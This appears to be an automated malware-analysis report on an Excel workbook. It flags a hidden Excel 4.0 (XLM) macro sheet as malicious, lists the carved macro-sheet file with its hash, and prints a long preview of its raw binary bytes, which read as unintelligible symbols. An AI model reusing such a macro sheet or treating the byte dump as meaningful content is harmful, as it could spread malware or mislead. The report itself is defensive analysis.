MALICIOUS
60
Risk Score
Heuristics 1
-
Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks. The macro sheet is stored as XLSB/BIFF12 binary content, which many XML-only OOXML scanners miss.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.bin |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.bin | 27344 bytes |
SHA-256: ca89327352717666567090de86a7e281c658e07f67942ebf5d95d163614a9d55 |
|||
Preview scriptFirst 1,000 lines of the extracted script
� � � @ �������� � � � � � � @ d � $ � � % �� & � ���� , � % �� & , � C @% �� & , � % �� & , � } % �� & , � = � % �� & , � % �� & , � � % �� & , �
Q� > J E h w Q j D x m S b c a f D� � D@ D� � B X % �� & ! , �
=� * Q J R u I H X b d V u K $r � B X % �� & " , �
� $� � B � % �� & # , �
� $u � B � % �� & ) , � @ % �� & * , � � ' % �� & 5 , 5 ` 5 3 % �� & : , 5 ` ` % �� & @ , @ _ @ ��@% �� & A , @ _ @ �i@% �� & F , @ _ _ % �� & H , @ _ L X % �� & a , � �
y� f J E h w Q j D x m S b c a f D� � DS � D � D� � Db x DH k D C D0 � B X % �� & b , � �
=� * Q J R u I H X b d V u K $[ � B X % �� & c , � �
� $� � B � % �� & d , � �
� $� B � % �� & u , 4 > > % �� & y , 4 > 4 + % �� & � , � � � % �� & � , h k h
k % �� & � , � � � % �� & � , � � � % �� & � , � % �� & � , � � % �� & � , � � ' % �� & � , � % �� & � , B � � % �� & � , B � B
� � J E h w Q j D x m S b c a f D@ � DH L D� � Dz w D � D�
� D> 3 D � D�
� D^ � D3 � D|
D~ � D� � D! � DF _ D>
; D D � D� � D D � D r D� � D� 7 D� � Dp D� � D� D� � B X % �� & � , B �
=� * Q J R u I H X b d V u K $� @ B X % �� & � , B �
� $� � B � % �� & � , B �
� $� K B � % �� & � , B � X # s + % �� & � , @ @ @ 4 % �� & , & � � % �� & , & � & % �� & , p p p % �� & % , s s s E % �� & 4 , d � � % �� & 5 , d � � % �� & 7 , d � d ! % �� & @ , � � � # % �� & T , ~ � � % �� & U , ~ � � $ % �� & Y , ~ � ~ % �� & [ , ~ � � @ % �� & b , P � x � % �� & d , P � d % % �� & e , P � P % �� & k , P � � ( % �� & o , P � � % �� & u , A �
i� V J E h w Q j D x m S b c a f D� � D$ � Dk � D� O DJ � D� � B X % �� & v , A �
=� * Q J R u I H X b d V u K $� � B X % �� & w , A �
� $� � B � % �� & x , A �
� $� � B � % �� & z , A � A 9 % �� & ~ , A � � % �� & � , � � � % �� & � , 2 2 2 % �� & � , � % �� & � , � � % �� & � , O � � + % �� & � , O � O ) % �� & � , 0 � � D % �� & � , 0 � � " % �� & � , 0 � 0 @% �� & � , � % �� & � , � � % �� & � , � � % �� & � , K � � % �� & � , K � � % �� & � , K �
� K J E h w Q j D x m S b c a f D� � D] � D� � Do � DF � D5 � D� � D� � D
x D� DJ
[ DY
� D$ q D� D3 v D
� Dw � D� � D� � D$
w DM o D! � D p Dr D� 1 D � D� h D� � D� f D� � B X % �� & � , K �
=K * Q J R u I H X b d V u K $[ � B X % �� & � , K
K $� � B � % �� & � , K
K $ B � % �� & � , K > % �� & , � � � % �� & , � �
q� ^ J E h w Q j D x m S b c a f D� � D+ � D� 7 Dx � D" a Dw � D� � B X % �� & , � �
=� * Q J R u I H X b d V u K $� � B X % �� & , � �
� $� � B � % �� & , � �
� $� � B � % �� & & ,
% �� & 5 , 2 � � + % �� & < , 2 �
� � � J E h w Q j D x m S b c a f D5 � D� t De P D� � D� DD � D� D� � D� � DB D� DH X B X % �� & = , 2 �
=� * Q J R u I H X b d V u K $� � B X % �� & > , 2 �
� $� � B � % �� & ? , 2 � 2
� $F
� B � % �� & B , � % �� & H , �
� � � J E h w Q j D x m S b c a f D? 2 D�
D � D� d D \ D� ! D� _ Dw � D_ T D�
D� v D � D� D� D1 � DH
^ D } Dr
B X % �� & I , �
=� * Q J R u I H X b d V u K $� � B X % �� & J , �
� $� � B � % �� & K , �
� $� v B � % �� & ] , � � � % �� & r , � % �� & x , � � % �� & � , � � � % �� & � , � � � ' % �� & � , � � � % �� & � , d � � $ % �� & � , d � d # % �� & � , � � � % �� & � , � � � % �� & � , t � t % �� & � , t � � % �� &
, p p
qp ^ J E h w Q j D x m S b c a f D � D� A Dc
� D> D& DY D: h B X % �� & , p p
=p * Q J R u I H X b d V u K $e ] B X % �� & , p p
p $� � B � % �� &
, p p
p $ � B � % �� & , % �� & ! , G � � % �� & $ , G �
yG f J E h w Q j D x m S b c a f DH D� � D� � Dy 4 D� ( Dp � D} j DM � B X % �� & % , G �
=G * Q J R u I H X b d V u K $= X B X % �� & & , G �
G $� � B � % �� & ' , G �
G $�
6 B � % �� & , , G � � % �� & . , G � � % �� & 0 , h � � @% �� & 6 , h � � % �� & : , h � h @% �� & D , � � � + % �� & J , � � � " % �� & O , � � � 0 % �� & g , � � � ; % �� & p , � � � % �� & � , m m m % �� & � , f
% �� & � , f f % �� & � , ! � ! % �� & � , ! � � % % �� & � , ! �
Y� F J E h w Q j D x m S b c a f D� � Db � D" o D� � B X % �� & � , � �
=� * Q J R u I H X b d V u K $g � B X % �� & � , � � �
� $� � B � % �� & � , � �
� $< � B � % �� & � , � � � % �� & , J � J % �� & , J � � % �� & , � � � * % �� & , � �
� � � J E h w Q j D x m S b c a f D� � DG \ D � D� � D � DN � D4 � D� DD � D[ * D D� W D�
� B X % �� & , � �
=� * Q J R u I H X b d V u K $z A B X % �� & , � �
� $� � B � % �� & , � �
� $ � B � % �� & , � � � % �� & ! , � � % �� & * , � @% �� & 3 , X � � % �� & = , X � X H % �� & G , 0 � P @% �� & M , 0 � 0 � 1 % �� & S , � � � % �� & m , f f f % �� & r , � � � B % �� & y , � � � G % �� & , � � � + � % �� & � , � � � 6 % �� & � , [ [ [ % �� & � , 1 � 1 % �� & � , 1 � �
% �� & � , � �
% �� & � , � � ? % �� & � , � A % �� & � , � � ' % �� & � , � � % �� & � , � � � F % �� & � , � � � ' % �� & , � � � ( % �� & ,
i V J E h w Q j D x m S b c a f D� D� � D� k DY k D7 d D� � B X % �� & ,
= * Q J R u I H X b d V u K $a B X % �� & ,
$� � B � % �� & , �
$H � B � % �� & + , � � ' % �� & 3 , � v % �� & < , � � % �� & > , �
3 % �� & ? , � Y % �� & E , C � C % �� & N , C � � ) % �� & Y , Z Z Z ' % �� & b , � � � % �� & x ,
w f % �� & z ,
w w % �� & | ,
w
% �� & ,
w & % �� & � , � � � @% �� & � , � � % �� & � , � � % �� & � , � � : % �� & � , � $ % �� & � , 7 % �� & � , 7 7 % �� & � , � � � % �� & � , � � � + % �� & � , � � . % �� & , � � �
% �� & , % �� & " , @ a a % �� & . , @ a
� @ v J E h w Q j D x m S b c a f D� � D� B D�
� D� � D� � D� � DT � D� � D� � D & B X % �� & / , @ a
=@ * Q J R u I H X b d V u K $� B X % �� & 0 , @ @
@ $� � B � % �� & 1 , @ @
@ $V
� B � % �� & @ , o � � $ % �� & D , o � � * % �� & F , o � � % �� & M , o � o % �� & Y , k @ k % �� & e , ] | ] 8 % �� & m , ] | | % �� & w , j � � % �� & } , j � j , % �� & � , m � � % �� & � , m � m % �� & � , m �
� � � J E h w Q j D x m S b c a f D� X D� � D H D D� � D@ � D� 2 D� � D� � D�
� D= B D � B X % �� & � , m �
=� * Q J R u I H X b d V u K $� � B X % �� & � , m �
� $� � B � % �� & � , �
� $� � B � % �� & � , � @ 9 % �� & � , � � � ' % �� & � , � � � % �� & � , R � � < % �� & � , R � R & % �� & � , o � o
� % �� & � , o � � % �� & � , � D % �� & � , �
� � J E h w Q j D x m S b c a f DI � D� v D" D� � D? � D � D@ � D J D� � DM
D � D
D D� � D�
D� R B X % �� & � , �
= * Q J R u I H X b d V u K $ ; B X % �� & � , �
$� � B � % �� & � , �
$ � B � % �� & � , � � . % �� & , \ y
yy f J E h w Q j D x m S b c a f D� D Dd d Dj � Dh � D � Dz
D� � D � B X % �� & , \ y
=y * Q J R u I H X b d V u K $� � B X % �� & , \ y
y $� � B � % �� & , \ y
y $r
� B � % �� & , \ y \ $ % �� & $ , � � � " % �� & H , k k k
% �� & P , * � � % �� & [ , * � * % �� & ^ , * � � % �� & ` , � < % �� & a , � 5 % �� & h , � � " % �� & m , � � % �� & } , H T T 7 % �� & , H T H % �� & � , � � � ' % �� & � , ( � v + % �� & � , ( � ( , % �� & � , ( � � % �� & � , _ � _ % �� & � , _ � �
% �� & � , _ _ _
% �� & � ,
W
% �� & � ,
W W % �� & � , � � � % �� & � , l % �� & � , l l % �� & , r r % �� & , r $ % �� & , c } } % �� & , c } c % �� & " , o � o % �� & $ , o � � % % �� & 0 , � % �� & < , � � / % �� & = , � B
% �� & @ , % �� & H , 1 % �� & _ , ; T ; T $ % �� & j , � � � % �� & ~ , � � � % �� & � , � � � C % �� & � , � � � % �� & � , v � � $ % �� & � , v � v % % �� & � , v � � / % �� & � , * � �
% �� & � , * � * � % �� & � , * � � % �� & � , n � n ' % �� & � , n � � % �� & � , Y � Y
� � % �� & � , 7 J J % �� & � , 7 J 7 % �� & , � � � % �� & , � � � % % �� & , ; � ; A % �� & , ; � � % �� & & , y � y % �� & . , y � � % �� & 1 , ( � � % �� & : , ( � ( % �� & ? , ( � � % �� & A , � � % �� & h , � � � % �� & p , �
% �� & t , � % �� & w , � � % �� & � , v v
iv V J E h w Q j D x m S b c a f D� � D� � DA � D6 � DY Z D� n B X % �� & � , v v
=v * Q J R u I H X b d V u K $} T B X % �� & � , v v
v $� � B � % �� & � , v v
v $
p B � % �� & � , f � f � % �� & � , � � % �� & � , � � % �� & � , � 1 % �� & � , � , % �� & � , � �
%� C # B a�B 7 % �� & � , � � � % �� & � , � �
� � 6 J E h w Q j D x m S b c a f D: ` Db � D� � D� h D� m D) @ D` < DA D~ � D� � DM 0 D� m D& y Dh � Dm f D� l D� D� � D� _ Dm � D� � D� D� D� � D c DG P D? Y Dt DE C D� 1 DW
� D� � D. � D_ ; B X % �� & � , � �
=� * Q J R u I H X b d V u K $5 5 B X % �� & � , � �
� $� � B � % �� & � , � �
� $� � B � % �� & � , h h h % �� &
, � � % �� &
, � % �� & $
, w w % �� & %
, w
% �� & >
, ; ; ; % �� & F
, �
� � � J E h w Q j D x m S b c a f D� s DP � D� 9 D$ � D%
D� o D* D� 0 D� Y Dm | D� [ Dt B X % �� & G
, �
=� * Q J R u I H X b d V u K $ B X % �� & H
, � ^
� $� � B � % �� & I
, �
� $. @ B � % �� & J
, � [ % �� & M
, � % �� & V
, � �
� � � J E h w Q j D x m S b c a f D. � D D� J D� D� f Du > D0 D� � D� * DY ~ Dp � D� � Dx f D: ( D, � D� � DA V D� � B X % �� & W
, � � �
=� * Q J R u I H X b d V u K $� � B X % �� & X
, � �
� $� � B � % �� & Y
, � �
� $a � B � � % �� & c
, � � � % �� & i
, � � � # % �� & r
, � &
y� f J E h w Q j D x m S b c a f D & D�
� D< � Di
� DU � DO � D� � D� � B X % �� & s
, �
=� * Q J R u I H X b d V u K $y � B X % �� & t
, �
� $� � B � % �� & u
, �
� $$ G B � % �� & z
, � % �� & �
, � � � % �� & �
, � � � % �� & �
, � � � � % �� & �
, � � � % �� & �
, 6
6 $� � B � % �� & �
, 6 =6 # D[ � $ ; $r � $� B � % �� & �
, 6 =6 # D[ � $ ; $r � $� � B � % �� & �
, 6 J6 0 Da $� � $} T $5 5 $[ � B � % �� & �
, 6
&6 D�
6 @ B % �� & �
, 6
=6 * D� � $� � $% s $5 5 $[ � B � % �� & �
, 6
6 A� % �� & �
, 6 K6 E@ 1 De ] $z A $� � $g � $� @ B � % �� & �
, 6 % �� & �
, 6
6 B 6 % �� & �
, � � � & % �� &
, x x x % �� & , � � % �� & , � % �� & $ , q q q % �� & @ , V � � % �� & A , V � V % �� & G , V � \ % �� & I , V � � % �� & L , V � � % �� & [ , � � � 4 % �� & p , � � � 2 % �� & w , � � �
% �� & , � � � % �� & � , � � � ( % �� & � , � � � - % �� & � , � � � ! % �� & � , � �
Y� F J E h w Q j D x m S b c a f D } D< � DL � D* � B X % �� & � , � �
=� * Q J R u I H X b d V u K $% s B X % �� & � , � �
� $� � B � % �� & � , � �
� $ y B � % �� & � , � � � � � B � � 0ffffff�?ffffff�? �? �?333333�?333333�?�
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.